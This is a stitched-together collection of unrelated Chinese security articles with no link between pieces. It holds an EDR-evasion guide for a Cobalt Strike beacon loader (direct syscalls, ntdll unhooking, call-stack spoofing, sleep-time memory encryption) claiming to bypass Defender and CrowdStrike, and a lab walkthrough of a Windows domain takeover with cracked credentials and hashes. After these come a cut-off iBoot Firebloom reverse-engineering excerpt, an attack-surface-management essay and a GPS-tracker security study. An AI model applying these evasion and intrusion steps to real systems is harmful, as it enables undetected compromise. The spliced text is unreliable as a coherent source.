我發現上述方法仍然適用於兩個測試的EDR,但這是一個嘈雜的ETW 補丁

6. 規避常見的惡意API 調用模式

大多數行為檢測最終都是基於檢測惡意模式。其中一種模式是在短時間內特定的WINAPI調用的順序。第4 部分中簡要提到的可疑WINAPI 調用通常用於執行shellcode,因此受到嚴格監控。然而,這些調用也用於良性活動(VirtualAlloc、WriteProcess、CreateThread 模式結合內存分配和寫入大約250KB 的shellcode),因此使用EDR 解決方案的挑戰是區分良性調用和惡意調用。 你可以參考Filip Olszak 的一篇文章,其中提到利用延遲和較小的分配和寫入內存塊來融入良性WINAPI 調用行為。簡而言之,他的方法調整了典型shellcode 加載程序的以下行為:

6.1 與其分配一大塊內存並直接將大約250KB 的植入shellcode 寫入該內存,不如分配小的連續塊,例如小於64KB 內存並將它們標記為NO_ACCESS。然後以類似的塊大小將shellcode 寫入分配的內存頁面。

6.2 在上述每個操作之間引入延遲。這將增加執行shellcode 所需的時間,但也會使連續執行模式變得不那麼突出。

使用這種技術的一個問題是,要確保在連續的內存頁中找到一個可以容納整個shellcode 的內存位置。 Filip 的DripLoader 實現了這個概念。

我構建的加載程序不會將shellcode 注入另一個進程,而是使用NtCreateThread 在自己的進程空間中的線程中啟動shellcode。未知進程(我們的二進製文件實際上流行率很低)進入其他進程(通常是Windows 原生進程)是突出的可疑活動。當我們在加載程序進程空間的線程中運行shellcode 時,更容易混入進程中良性線程執行和內存操作的噪音。然而,不利的一面是任何崩潰的開發後模塊也會導致加載程序的進程崩潰,從而導致植入程序崩潰。持久性技術以及運行穩定可靠的BOF 可以幫助克服這一缺點。

7. 直接系統調用和迴避“系統調用標記”加載程序利用直接系統調用繞過EDR 放入ntdll.dll 的任何掛鉤。我不想在此過多地討論直接系統調用的話題。

簡而言之,直接系統調用是直接對內核系統調用等效的WINAPI 調用。我們不調用ntdll.dll VirtualAlloc,而是調用它在Windows 內核中定義的內核等效NtAlocateVirtualMemory。我們可以使用這種辦法繞過任何用於監視調用(在本例中)ntdll.dll中定義的VirtualAlloc的EDR掛鉤。

為了直接調用系統調用,我們從ntdll.dll 中獲取我們要調用的系統調用的syscall ID,使用函數簽名將函數參數的正確順序和類型推送到堆棧,然後調用syscall id指令。在此推薦兩個工具,SysWhispers2 和SysWhisper3 就是兩個很好的例子。從規避的角度來看,調用直接系統調用有兩個問題:

7.1 你的二進製文件最終具有syscall 指令,該指令很容易靜態檢測。

7.2 與通過等效的ntdll.dll 調用的系統調用的良性使用不同,系統調用的返回地址不指向ntdll.dll。相反,它指向我們調用系統調用的代碼,它駐留在ntdll.dll 之外的內存區域中。這是一個未通過ntdll.dll調用的系統調用的指標,非常可疑。

為了克服這些問題,我們可以做以下工作:

7.3 實現一個尋蛋機制。將系統調用指令替換為egg(一些隨機的唯一可識別模式),在運行時,在內存中搜索這個egg,並使用ReadProcessMemory和WriteProcessMemory的WINAPI調用將其替換為系統調用指令。然後,我們可以正常地使用直接系統調用。該技術已由klezVirus實現。

7.4我們不是從我們自己的代碼中調用syscall 指令,而是在ntdll.dll 中搜索syscall 指令,並在我們準備好調用系統調用的堆棧後跳轉到該內存地址。這將導致RIP 中的返回地址指向ntdll.dll 內存區域。

這兩種技術都是SysWhisper3 的一部分。

8.刪除ntdll.dll中的掛鉤逃避ntdll.dll 中的EDR 掛鉤的另一個好方法是用來自ntdll.dll 的新副本覆蓋默認加載(並由EDR 掛鉤)加載的ntdll.dll。 ntdll.dll 是任何Windows 進程加載的第一個DLL。 EDR 解決方案確保他們的DLL 在不久之後被加載,這在我們自己的代碼執行之前將所有掛鉤放在加載的ntdll.dll 中。如果我們的代碼之後在內存中加載一個新的ntdll.dll 副本,那些EDR 掛鉤將被覆蓋。 RefleXXion 是一個C++ 庫,它實現了MDSec 對該技術所做的研究。 RelfeXXion 使用直接系統調用NtOpenSection 和NtMapViewOfSection 來獲取\KnownDlls\ntdll.dll(具有先前加載的DLL 的註冊表路徑)中乾淨ntdll.dll 的句柄。然後它會覆蓋加載的ntdll.dll 的.TEXT 部分,從而清除EDR 掛鉤。

我建議使用與第7部分中描述的相同的方法來調整RefleXXion庫。

9. 欺騙線程調用棧接下來的兩部分將介紹兩種技術,它們可以避免在內存中檢測我們的shellcode。由於植入程序的信標行為,大部分時間植入程序都處於休眠狀態,等待其操作員的傳入任務。在此期間,植入程序容易受到來自EDR 的內存掃描技術的攻擊。本文中描述的兩種規避方法中的第一種就是欺騙線程調用堆棧。

當植入程序處於休眠狀態時,它的線程返回地址指向我們駐留在內存中的shellcode。通過檢查可疑進程中線程的返回地址,可以很容易地識別出我們的植入shellcode。為了避免這種情況,想打破返回地址和shellcode之間的這種聯繫。我們可以通過掛鉤Sleep() 函數來做到這一點。當該掛鉤被調用(通過植入/信標shellcode)時,我們用0x0 覆蓋返回地址並調用原始的Sleep() 函數。當Sleep() 返回時,我們將原始返回地址放回原處,以便線程返回到正確的地址以繼續執行。 Mariusz Banach 在他的ThreadStackSpoofer 項目中實現了這種技術。

在下面的兩個屏幕截圖中,我們可以觀察到欺騙線程調用堆棧的結果,其中非欺騙的調用堆棧指向非備份內存位置,而欺騙的線程調用堆棧指向掛鉤的Sleep (MySleep)函數,並“切斷”調用堆棧的其餘部分。

4.png

默認信標線程調用堆棧

5.png

欺騙信標線程調用堆棧

10.信標內存加密另一個規避內存檢測的方法是在休眠時加密植入程序的可執行內存區域。使用與上一節中描述的相同的sleep 掛鉤,我們可以通過檢查調用者地址(調用Sleep() 的信標代碼以及我們的MySleep() 掛鉤)來獲取shellcode 內存段。如果調用者內存區域是MEM_PRIVATE 和EXECUTABLE ,並且大小與我們的shellcode差不多,那麼內存段將使用XOR 函數加密並調用Sleep()。然後Sleep() 返回,它解密內存段並返回給它。

另一種技術是註冊一個vector Exception Handler (VEH),它處理NO_ACCESS違規異常,解密內存段並更改RX的權限。然後就在休眠之前,將內存段標記為NO_ACCESS,這樣當Sleep()返回時,就會出現內存訪問衝突異常。因為我們註冊了一個VEH,所以異常是在該線程上下文中處理的,並且可以在引發異常的完全相同的位置恢復。 VEH 可以簡單地解密並將權限更改回RX,並且植入程序可以繼續執行。這種技術可以防止在植入程序處於睡眠狀態時出現可檢測的Sleep() 掛鉤。

Mariusz Banach 也在ShellcodeFluctuation 中實現了這種技術。

11.自定義反射加載程序我們在這個加載程序中執行的信標shellcode 最終是一個需要在內存中執行的DLL。許多C2 框架利用Stephen Fewer 的ReflectiveLoader。關於反射性DLL 加載程序的工作原理有很多書面解釋,Stephen Fewer 的代碼也有很好的文檔記錄,但簡而言之,反射式加載程序執行以下操作:

11.1將地址解析為加載DLL 所需的必要kernel32.dll WINAPI(例如VirtualAlloc、LoadLibraryA 等);

11.2將DLL 及其部分寫入內存;

11.3建立DLL 導入表,使DLL 可以調用ntdll.dll 和kernel32.dll WINAPI;

11.4加載任何其他庫並解析它們各自的導入函數地址;

11.5調用DLL 入口點;

Cobalt Strike 添加了對在內存中反射加載DLL 的自定義方式的支持,允許攻擊人員自定義加載信標DLL 的方式並添加規避技術。 Bobby Cooke 和Santiago P 使用我在裝載機中使用的Cobalt Strike 的UDRL 構建了一個隱形裝載機(BokuLoader)。 BokuLoader 實現了幾種規避技術:

11.6 限制對GetProcAddress() 的調用(通常是EDR 掛鉤WINAPI 調用來解析函數地址,就像我們在第4 部分中所做的那樣);

11.7AMSI和ETW繞過;

11.8 僅使用直接系統調用;

11.9僅使用RW 或RX,沒有RWX (EXECUTE_READWRITE) 權限;

11.10 從內存中刪除信標DLL 標頭;

請確保取消這兩個定義的註釋,以利用通過HellsGate和HalosGate的直接系統調用,並繞過ETW和AMSI(其實沒有必要,因為我們已經禁用了ETW,並且沒有將加載程序注入到另一個進程中)。

12. Malleable 配置文件中的OpSec 配置在你的Malleable C2 配置文件中,確保配置了以下選項,這些選項限制了RWX標記內存的使用(可疑且容易檢測),並在信標啟動後清理shellcode。

6.png

總結結合這些技術,你可以繞過Microsoft Defender for Endpoint 和CrowdStrike Falcon,且不會被檢測到。

7.png

CrowdStrike Falcon 上的測試

0x1 Info

  • Tag:
    MSSQL,Privilege Escalation,Kerberos,域渗透,RDP
    image
    靶场地址:https://yunjing.ichunqiu.com/ranking/summary?id=BzMFNFpvUDU

0x2 Recon

  1. Target external ip
    47.92.82.196
  2. nmap
    image
  3. MSSQL 弱口令爆破,爆破出有效凭据,权限为服务账户权限(MSSQLSERVER)
    sa:1qaz!QAZ
    image

0x3 入口点 MSSQL - 172.22.8.18

  • 前言,该机器不在域内
  1. 直接MSSQL shell(这里做完了忘记截图了..)
    image
  2. 提权,这里直接获取Clsid暴力怼potato(前面几个clsid是用不了的)

    修改GetClsid.ps1,添加执行potato
    image

    Potato和GetClsid.ps1
    image

    执行GetClsid.ps1
    image

    获取到有效clsid以及命令执行结果
    image
  3. 导出SAM,SYSTEM,Security
    image

    解出凭据,用administrator + psexec 139横向(外网没有开445)就能获取到 flag01
    administrator 2caf35bb4c5059a3d50599844e2b9b1f
    image
  4. qwinsta和端口连接看到有机器rdp过来
    image
    image
  5. 这边使用administrator psexec后上msf(system权限),使用incognito模块,模拟至john(本人实测,只有msf的incognito能完成后续操作,f-secure lab等其他的模拟令牌工具没成功)
    image
  6. 使用john的token执行 net use 看到 \\tsclient\C 共享
    image
  7. 直接获取 \\tsclient\C 下面的 credential.txt,同时提示 hijack image (镜像劫持)
    xiaorang.lab\Aldrich:Ald@rLMWuy7Z!#
    image
  • 快进,略过搭建代理过程
  1. CME 扫描 172.22.8.0/24,有三个机器提示密码过期了
    image
  2. 测试一下 DC01 88端口是否开启(测是否域控),DC01为域控
  3. smbpasswd.py 远程修改一下过期密码,改成111qqq...
    image
  4. ldapshell.py 验证,登录域成功
    image
  5. CME 枚举 RDP,显示能登录进入 172.22.8.46(用CME官方的RDP模块不会扫出有效RDP凭据,这边自己写了一个基于xfreerdp的CME模块)
    XiaoliChan/CrackMapExec-Extension
    image

0x4 域渗透 - 入口 - 172.22.8.46

  1. 登录进入,查看到 xiaorang.lab\Aldrich 不是这台机器的管理员,只是普通用户
  • 提权,两种方法

    Priv-ESC1:镜像劫持提权(常规)

    Get-ACL查看到任何用户都可以对注册表 "HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options" 进行写入,创建操作
    image

    创建一个劫持magnify.exe(放大镜)的注册表,执行CMD.exe
    image

    锁定用户
    image

    点击放大镜
    image

    提权至system
    image

    Priv-ESC2:krbrelayup提权

    域普通权限用户在域内机器,直接带走(非常规,推荐)
    image
    image
  1. 快进mimikatz,获取到当前机器的机器账户 win2016$
xiaorang.lab\WIN2016$ 4ba974f170ab0fe1a8a1eb0ed8f6fe1a

0x5 域渗透 - DC Takeover

  • 两种方法
  1. 观察 WIN2016$ 的组关系,发现处于 Domain Admins 组,直接使用 Dcsync 带走 DC01 (过程略)
    image
  2. 约束委派(非常规)

    Bloodhound收集域信息,分析,发现存在约束委派
    image

    使用 getST.py 进行约束委派攻击
    image

    带走 DC01
    image



原文链接: https://www.freebuf.com/articles/system/352237.html

2021年7月,Gartner發布《2021安全运营技术成熟度曲线》 ,並在其中首次提出了CAASM網絡資產攻擊面管理(Cyber asset attack surface management)和EASM外部攻擊面管理(External attack surface management)概念,一眾安全廠商紛紛發聲表示“不謀而合”。

在這裡不討論這種“不謀而合”是否有“搶占解釋權”以推廣自家產品的嫌疑,只思考這種強烈的“認可”從何而來,畢竟同時期無論是Gartner這樣的諮詢機構,還是廠商、研究機構,其推出的新概念都不在少數。

技術在前:安全價值回歸經過一些資料查閱,我們欣喜的發現這種“認可”並非單純的安全圈追熱點,更大程度上是國內安全廠商已經在該領域擁有了一定的基礎,技術精進、產品上市,現在EASM與CAASM概念的出現更像是一次“遲來的正名”。

今天的網絡攻擊極少再有“黑客炫技”,多半都是分工細緻的跨國網絡勒索團伙、可調動資源充足的國家背景“網軍”,以及合作鏈條緊密的龐大地下黑產。關鍵基礎設施單位、坐擁高價值數據的大型企業,甚至政府機構網絡系統,其面臨的網絡安全威脅都已今非昔比。

以此為背景,更多直面安全威脅、且更聚焦問題本身的新產品、新技術迎來發展機遇,這其中,攻擊面管理(ASM)作為一種直觀可行的防守方基礎策略受到行業關注,並衍生出了上述EASM與CAASM兩種不同角度的細分概念。

核心:攻擊者視角!面對安全威脅,防守方自己看自己是沒有用的,重要的是“攻擊者怎麼看你”。就像一場守城戰,你自己知道哪裡重兵把守、哪里城牆堅固,並沒什麼用,因為攻城方只會看這這座城哪裡守備空虛,哪裡更容易得手。

這也就引出了ASM的重要概念——攻擊者視角。

1.PNG

圖“中世紀攻擊者視角”

攻擊者視角本質上是尋找防禦的薄弱點,並測繪出一張標識出“突破口”的地圖,這對於正在堆疊剛性防禦系統的防守方而言,無疑是降維打擊。這些“突破口”就包括網絡空間的影子資產(未知資產)、未更新到最新版本的軟件、錯誤的配置等,通過這些資產數據實現攻擊面收斂。

而這就需要一項關鍵技術支撐——網絡空間測繪技術。

網絡空間的“軍事地圖”網絡空間測繪技術被應用於安全領域,很大程度上拉平了攻守雙方在“視野”層面的不對等,尤其是針對“未知資產”,畢竟我們不能去保護一個自己都不知道存在的東西。

這就引出了一個關鍵性問題,如何讓“地圖”精確?

關鍵點就在於“資產指紋庫”能否覆蓋用戶的全量資產。

網絡空間中的資產測繪需要清晰識別出軟件、硬件、系統、服務、證書、數據庫等各類資產,“庫”還需要跟進產品迭代、新品誕生,甚至新品類的出現,以此來滿足用戶後續安全部署的需求。

從資產角度講,Gartner提出的兩個概念中,CAASM更側重識別組織內部的資產,並發現安全漏洞;而EASM則側重防守方暴露在互聯網上的資產和資產相關情況。兩者各有側重,且適合於不同的用戶場景,但同樣的是,清晰全面的資產識別是後續一切的基礎。

“庫”的廣度與精度既然資產識別如此重要,那麼通過大量資源投入,對互聯網上的資產進行極端週期的全面掃描分析,是否就能打造出覆蓋最全面的資產指紋庫?

答案是否。尤其在各行業數字換轉型加速發展的今天,存在大量僅被某一行業使用的系統、軟件等,這些資產並不暴露在互聯網上,為了測繪識別,就需要安全廠商深入了解行業,去研究這些資產,從而觸類旁通的擴展指紋庫。這也是“廣度”之外,指紋庫的另一項指標——“精度”。

在目前國內安全廠商中,華順信安、知道創宇、360等企業已經憑藉豐富的資產數據積累逐步在這一領域走在了前列,並在諸多安全事件中展現出“測繪”對網絡安全及相關工作的重要價值。

起步較早、長期堅持,是積累資產指紋的基礎。此外,則是通過服務客戶深入了解這一行業領域的資產情況,將這些“非主流”但對行業極為重要的資產擴充進指紋庫。上述三家企業便是測繪領域入場較早的“玩家”,以華順信安為例,其專注網絡空間測繪領域超過7年,服務了多個行業的龍頭企業,這些積累也就能夠在攻擊面管理工作中,為用戶貢獻出更大價值。

綜上,我們能梳理出一個邏輯。網絡安全是最終的目標,攻擊面收斂(含EASM與CAASM)是重要手段,而依託於龐大指紋庫的網絡空間資產測繪則是必要基礎。

尾聲1453年,奧斯曼帝國圍攻當時號稱全世界防守最堅固的城市,君士坦丁堡。雙方對壘數月毫無進展,而一扇位置偏僻的小門卻被守城將士完全忽略,甚至都沒有上鎖,並最終致使城市淪陷。

如果防守方的城防圖對著扇小門做了標註,那麼歷史的走向很可能改變。

簡介歡迎來到Firebloom iBoot系列文章的第二篇。在上一篇文章中,我們為讀者詳細介紹了Firebloom在iBoot中的實現方式,內存分配的表現形式,以及編譯器是如何使用它們的。現在,讓我們首先回顧一下用於描述內存分配的結構體:

00000000safe_allocationstruc;(sizeof=0x20,mappedto_1)

00000000raw_ptrDCQ?

00000008lower_bound_ptrDCQ?

00000010upper_bound_ptrDCQ?

00000018typeDCQ?

00000020safe_allocationends在上一篇文章中,我們重點介紹了Firebloom是如何使用lower_bound_ptr和upper_bound_ptr指針的,它們主要用於為內存空間提供安全保護,即防止任何形式的後向/前向越界訪問。在這篇文章中,我們將重點介紹type指針。

我們強烈建議讀者在閱讀這篇博文之前,首先閱讀我們的第一篇文章,以了解相關的背景知識。和上一篇文章一樣,我們的研究工作是在iBoot.d53g.RELEASE.im4p上進行的,對應於安裝了ios 14.4(18D52)系統的iPhone 12機器。

繼續我們的逆向之旅在之前的文章中,我們為讀者介紹過do_safe_allocation函數,其所用是封裝內存分配API並對safe_allocation結構體進行初始化,其中偏移量+0x18處的指針指向了一些描述類型信息的結構體。我們還通過一個例子表明,在使用分配的內存之前,系統會通過該指針進行相應的類型檢查。現在,是時候看看這種功能是如何工作的,以及這個type指針起到了那些作用。

我發現許多與type指針有關的邏輯(類型轉換、在安全分配的內存之間進行複制,等等),這些邏輯真的值得我們逆向研究一番。我想最好是從構件開始,然後逐級而上。

複製指針與內存為了幫助大家理解,我們決定從一些例子入手。為此,讓我們從panic_memcpy_bad_type開始進行逆向——它是do_firebloom_panic的11個交叉引用之一。

iBoot:00000001FC1AA818panic_memcpy_bad_type;CODEXREF:call_panic_memcpy_bad_type+3C↑p

iBoot:00000001FC1AA818

iBoot:00000001FC1AA818var_20=-0x20

iBoot:00000001FC1AA818var_10=-0x10

iBoot:00000001FC1AA818var_s0=0

iBoot:00000001FC1AA818

iBoot:00000001FC1AA818PACIBSP

iBoot:00000001FC1AA81CSTPX22,X21,[SP,#-0x10+var_20]!

iBoot:00000001FC1AA820STPX20,X19,[SP,#0x20+var_10]

iBoot:00000001FC1AA824STPX29,X30,[SP,#0x20+var_s0]

iBoot:00000001FC1AA828ADDX29,SP,#0x20

iBoot:00000001FC1AA82CMOVX19,X2

iBoot:00000001FC1AA830MOVX20,X1

iBoot:00000001FC1AA834MOVX21,X0

iBoot:00000001FC1AA838ADRPX8,#0x1FC2F2248@PAGE

iBoot:00000001FC1AA83CLDRX8,[X8,#0x1FC2F2248@PAGEOFF]

iBoot:00000001FC1AA840CBZX8,loc_1FC1AA848

iBoot:00000001FC1AA844BLRAAZX8

iBoot:00000001FC1AA848

iBoot:00000001FC1AA848loc_1FC1AA848;CODEXREF:panic_memcpy_bad_type+28↑j

iBoot:00000001FC1AA848ADRX0,aMemcpyBadType;'memcpy_bad_type'

iBoot:00000001FC1AA84CNOP

iBoot:00000001FC1AA850MOVX1,X21

iBoot:00000001FC1AA854MOVX2,X20

iBoot:00000001FC1AA858MOVX3,X19

iBoot:00000001FC1AA85CBLdo_firebloom_panic

iBoot:00000001FC1AA85C;Endoffunctionpanic_memcpy_bad_type我們將從最簡單的東西開始,即復制指針的操作。

在我之前的文章中,我特別指出:現在復制一個指針(即進行指針賦值)需要移動一個由4個64位值組成的元組。通常來說,我們可以將其視為是2個LDP與2個STP指令。現在,我們通過下面的函數來舉例說明:

iBoot:00000001FC15AD74move_safe_allocation_x20_to_x19;CODEXREF:sub_1FC15A7E0+78↑p

iBoot:00000001FC15AD74;wrap_memset_type_safe+68↑p.

iBoot:00000001FC15AD74LDPX8,X9,[X20]

iBoot:00000001FC15AD78LDPX10,X11,[X20,#0x10]

iBoot:00000001FC15AD7CSTPX10,X11,[X19,#0x10]

iBoot:00000001FC15AD80STPX8,X9,[X19]

iBoot:00000001FC15AD84RET

iBoot:00000001FC15AD84;Endoffunctionmove_safe_allocation_x20_to_x19如今,這種由2個LDP指令和2個STP指令組成的模式,在iBoot中是非常常見的(這是很正常的,因為指針賦值經常發生),所以,我們會在許多地方看到這樣的內聯代碼。雖然這對於指針賦值很有用,但在許多情況下,我們想要做的卻是複制內容——例如,調用memcpy的時候。因此,有趣的事情就出現了:是否應該允許在兩個“safe_allocations”內存之間調用memcpy?

理論上,我們可以執行下面的代碼:

memcpy(dst-raw_ptr,src-raw_ptr,length);但是,請記住,每段safe_allocation內存都具有相應的type指針,該指針指向某個結構體,以便提供與當前處理的類型有關的更多信息。這些信息可以用於進一步的檢查和驗證。例如,我們希望看到一些邏輯來檢查dst和src的類型是否為基本類型(即這些類型不包含對其他結構體、嵌套結構體等結構體的引用,如short/int/float/double/等類型,就是屬於基本類型)。

這很重要,因為如果src或dst是非基本類型,我們就需要確保只有在它們的類型在某種程度上相等時才將src複製到dst。或者,type實際上保存了更多與結構體有關的元數據,因此需要確保更多的安全屬性。

因此,我想了解一下Firebloom是如何描述基本類型的。在對類型轉換功能,以及其他功能代碼進行逆向分析之後,我終於搞清楚了這一點。有趣的是,分析過程再簡單不過了——我們在函數cast_impl中找到了很多有用的字符串。例如:

aCannotCastPrimDCB'Cannotcastprimitivetypetonon-primitivetype',0借助於交叉引用,我們在下面的代碼中發現,X21寄存器就是來自safe_allocation內存的type指針:

iBoot:00000001FC1A0CF8;X21isthetypepointer

iBoot:00000001FC1A0CF8LDRX11,[X21]

iBoot:00000001FC1A0CFCANDX11,X11,#0xFFFFFFFFFFFFFFF8

iBoot:00000001FC1A0D00LDRBW12,[X11]

iBoot:00000001FC1A0D04TSTW12,#7

iBoot:00000001FC1A0D08;oneofthe3LSBbitsisnot0,non-primitivetype

iBoot:00000001FC1A0D08B.NEcannot_cast_primitive_to_non_primitive_type

iBoot:00000001FC1A0D0CLDRX11,[X11,#0x20]

iBoot:00000001FC1A0D10LSRX11,X11,#0x23;'#'

iBoot:00000001FC1A0D14CBNZX11,cannot_cast_primitive_to_non_primitive_type

.

iBoot:00000001FC1A0E70cannot_cast_primitive_to_non_primitive_type

iBoot:00000001FC1A0E70;CODEXREF:cast_impl+478↑j

iBoot:00000001FC1A0E70;cast_impl+484↑j

iBoot:00000001FC1A0E70ADRX11,aCannotCastPrim;'Cannotcastprimitivetypetonon-primi'.好了,現在我們知道Firebloom是如何標記和測試基本類型的了。這段代碼只是將一種類型轉換為另一種類型的功能實現中的一小部分,特別是這裡的X21寄存器是我們要轉換為的safe_allocation結構體中的type指針。在進行類型轉換時,我們驗證要轉換的類型是基本類型;同時,還要驗證轉換後的目標類型也是基本類型(否則就會出現panic)。

為了完成這項檢查,代碼會對type指針進行解引用,進而得到另一個指針(我們稱之為type_descriptor)。然後,將其最低的3個二進制位屏蔽掉(它們可能對應於一個編碼,這就是所有用到該指針的地方都會在解除其引用之前都屏蔽它的原因),然後對該指針解除引用。

現在,如果以下兩個屬性都滿足要求,那麼,該類型被認為是“基本類型”:

第一個qword的低3位都為0。

在偏移量0x20處存儲的值的高29位都為0。

太好了,我們剛剛了解了基本類型是如何表示的。在本文的後面部分,我們將詳細介紹這些值的具體含義。

有了這些知識,我們就可以著手了解Firebloom到底是如何在iBoot中封裝memset和memcpy函數的了。現在,讓我們從memset函數開始:

iBoot:00000001FC15A99Cwrap_memset_safe_allocation;CODEXREF:sub_1FC04E5D0+124↑p

iBoot:00000001FC15A99C;sub_1FC04ED68+8↑j.

iBoot:00000001FC15A99C

iBoot:00000001FC15A99Cvar_30=-0x30

iBoot:00000001FC15A99Cvar_20=-0x20

iBoot:00000001FC15A99Cvar_10=-0x10

iBoot:00000001FC15A99Cvar_s0=0

iBoot:00000001FC15A99C

iBoot:00000001FC15A99CPACIBSP

iBoot:00000001FC15A9A0SUBSP,SP,#0x60

iBoot:00000001FC15A9A4STPX24,X23,[SP,#0x50+var_30]

iBoot:00000001FC15A9A8STPX22,X21,[SP,#0x50+var_20]

iBoot:00000001FC15A9ACSTPX20,X19,[SP,#0x50+var_10]

iBoot:00000001FC15A9B0STPX29,X30,[SP,#0x50+var_s0]

iBoot:00000001FC15A9B4ADDX29,SP,#0x50

iBoot:00000001FC15A9B8;void*memset(void*s,intc,size_tn);

iBoot:00000001FC15A9B8;X0-dst(s)

iBoot:00000001FC15A9B8;X1-char(c)

iBoot:00000001FC15A9B8;X2-length(n)

iBoot:00000001FC15A9B8MOVX21,X2

iBoot:00000001FC15A9BCMOVX22,X1

iBoot:00000001FC15A9C0MOVX20,X0

iBoot:00000001FC15A9C4MOVX19,X8

iBoot:00000001FC15A9C8;verifyupper_bound-raw_ptr=x2(length)

iBoot:00000001FC15A9C8BLcheck_ptr_bounds

iBoot:00000001FC15A9CCLDRX23,[X20,#safe_allocation.type]

iBoot:00000001FC15A9D0MOVX0,X23

iBoot:00000001FC15A9D4;checkifdstisaprimitivetype

iBoot:00000001FC15A9D4BLis_primitive_type

iBoot:00000001FC15A9D8TBNZW0,#0,call_memset

iBoot:00000001FC15A9DCCBNZW22,detected_memset_bad_type

iBoot:00000001FC15A9E0MOVX0,X23

iBoot:00000001FC15A9E4BLget_type_length

iBoot:00000001FC15A9E8;divideandmultiplythelengthargument

iBoot:00000001FC15A9E8;bythetype'ssize,todetect

iBoot:00000001FC15A9E8;partial/unalignmentwrites

iBoot:00000001FC15A9E8UDIVX8,X21,X0

iBoot:00000001FC15A9ECMSUBX8,X8,X0,X21

iBoot:00000001FC15A9F0CBNZX8,detected_memset_bad_n

iBoot:00000001FC15A9F4

iBoot:00000001FC15A9F4call_memset;CODEXREF:wrap_memset_safe_allocation+3C↑j

iBoot:00000001FC15A9F4LDRX0,[X20,#safe_allocation]

iBoot:00000001FC15A9F8MOVX1,X22

iBoot:00000001FC15A9FCMOVX2,X21

iBoot:00000001FC15AA00BL_memset

iBoot:00000001FC15AA04BLmove_safe_allocation_x20_to_x19

iBoot:00000001FC15AA08LDPX29,X30,[SP,#0x50+var_s0]

iBoot:00000001FC15AA0CLDPX20,X19,[SP,#0x50+var_10]

iBoot:00000001FC15AA10LDPX22,X21,[SP,#0x50+var_20]

iBoot:00000001FC15AA14LDPX24,X23,[SP,#0x50+var_30]

iBoot:00000001FC15AA18ADDSP,SP,#0x60;'`'

iBoot:00000001FC15AA1CRETAB

iBoot:00000001FC15AA20;---------------------------------------------------------------------------

iBoot:00000001FC15AA20

iBoot:00000001FC15AA20detected_memset_bad_type;CODEXREF:wrap_memset_safe_allocation+40↑j

iBoot:00000001FC15AA20BLcall_panic_memset_bad_type

iBoot:00000001FC15AA24;---------------------------------------------------------------------------

iBoot:00000001FC15AA24

iBoot:00000001FC15AA24detected_memset_bad_n;CODEXREF:wrap_memset_safe_allocation+54↑j

iBoot:00000001FC15AA24BL

0x01 基礎介紹GPS追踪器可以幫助定位孩子,寵物、汽車,從而使用戶更加安心。用戶可以通過提供簡單的SOS按鈕來呼叫幫助,從而幫助確保老年人或殘疾人的安全。為了實現此目的,許多設備在亞馬遜和eBay等常見網站上進行了銷售,售價為25至50美元,與使用智能手機實現某些相同功能相比,它們在價格上更具吸引力。

但是,我們對這些設備的真正了解有多少,這些設備知道我們在哪裡,有時甚至可以聽到我們的聲音,我們在這裡討論的大多數設備也都帶有麥克風。事實證明,當今的某些GPS追踪器,尤其是那些處於低端市場的GPS追踪器,是存在風險的,而不是讓你省心。他們不僅缺乏安全警報,而且這些設備更有可能使你的親人更加危險。

我們決定看一下亞馬遜,eBay和阿里巴巴上的幾種兒童追踪器,以了解它們如何經受住我們的安全測試。

GPS追踪器基礎當今可用的GPS追踪器使用多種通信渠道和技術。圖1顯示了一個典型的體系結構。

figure1-1-768x442.jpg

圖1: GPS追踪器的典型配置和架構

其中涉及許多傳輸協議和網絡層,因此我們同時在許多方面進行工作,以評估這些設備的安全性。

通常,追踪器是一種簡單,廉價的設備,以SOC(片上系統)模塊為主要組件。串行總線將SOC連接到提供位置的GPS模塊以及連接到SIM卡的GPRS調製解調器,SIM卡為設備提供DATA + SMS功能。通常,你還可以找到按下“ SOS”按鈕時使用的用於電話功能的麥克風和揚聲器。

figure2-1-768x368.jpg

圖2: GPS追踪器內部工作原理

我們將研究分為四類:

分析特定設備的啟動過程

分析管理門戶網站

分析移動應用程序和雲平台之間的流量

分析追踪器和雲平台之間的GPRS流量

攻擊真實設備我們決定選擇一個追踪器並進行一些更廣泛的研究。我們選擇了市售的追踪器—— T8 Mini GPS Tracker,該追踪器像一個鑰匙扣,具有SOS按鈕和雙向通訊功能(揚聲器和麥克風)。

image-20220323093825042.png

圖3:感興趣的追踪器

首先引起我們注意的是使用流程,隨附的說明:

image-20220323093915925.png

按照說明,有一個Web門戶和一個移動應用程序可用於管理追踪器。我們選擇了最便捷的方法,首先打開了一個可達的Web應用程序http://en.i365gps.com。在許多層面都存在錯誤:image-20220323094055485

image-20220323094055485.png

圖4: Web應用程序登錄截圖

如你所見,第一個red flag登錄表單是通過HTTP協議提供的,而不是通過更安全的HTTPS。此外,有兩個選擇可以連接到雲平台:使用用戶名和密碼的帳戶或使用ID和密碼的帳戶。

image-20220323094235628.png

圖5:默認密碼

這適用於Android應用程序和Web應用程序。令人震驚的事實是:“ …如果需要通過用戶名登錄,則用戶需要聯繫經銷商註冊用戶名。”由於你必須致電經銷商以請求用戶名,因此很明顯,可以使用ID,其密碼為“ 123456”。

出於演示目的,我們的ID為:17032491112和密碼123456。當你登錄到平台時,將出現此界面。

image-20220323094518536-16479999196441.png

image-20220323094518536圖6: Web應用程序界面

這裡的所有內容仍然通過不安全的HTTP協議傳輸,你可以更改密碼,但是仍然無法創建帳戶,讓我們把關注點放在ID上。

用戶名ID作為進入應用程序的“username”的ID是11位數。正如你在設備信息圖7中所看到的那樣,它有時被稱為IMEI,代表“國際移動設備身份”。

image-20220323094703856.png

image-20220323094703856圖7:設備標識

你可以看到設備被標識為T8S-49112,因此後五位數字取自“ IMEI”,而開頭可能是型號。這里奇怪的是,IMEI的數字不符合標準IMEI規範。根據規範,IMEI應該為15位長,最後一位是所謂的控制位。當我們進行更多搜索時,我們在追踪器(圖8)中發現了完整的IMEI ,隨後在包裝盒上的小標籤上也發現了完整的IMEI 。因此,在我們的案例中,完整的IMEI為:

1653140978186756.png

圖8:追踪器的內部以及IMEI和ID image-20220323094851519

image-20220323094851519.png

圖9: IMEI簡化的細分

因此,當我們獲取“ IMEI”和ID號並將其與規範格式匹配時,我們將獲得

image-20220323094919750.png image-20220323094919750

圖10:與IMEI匹配的ID

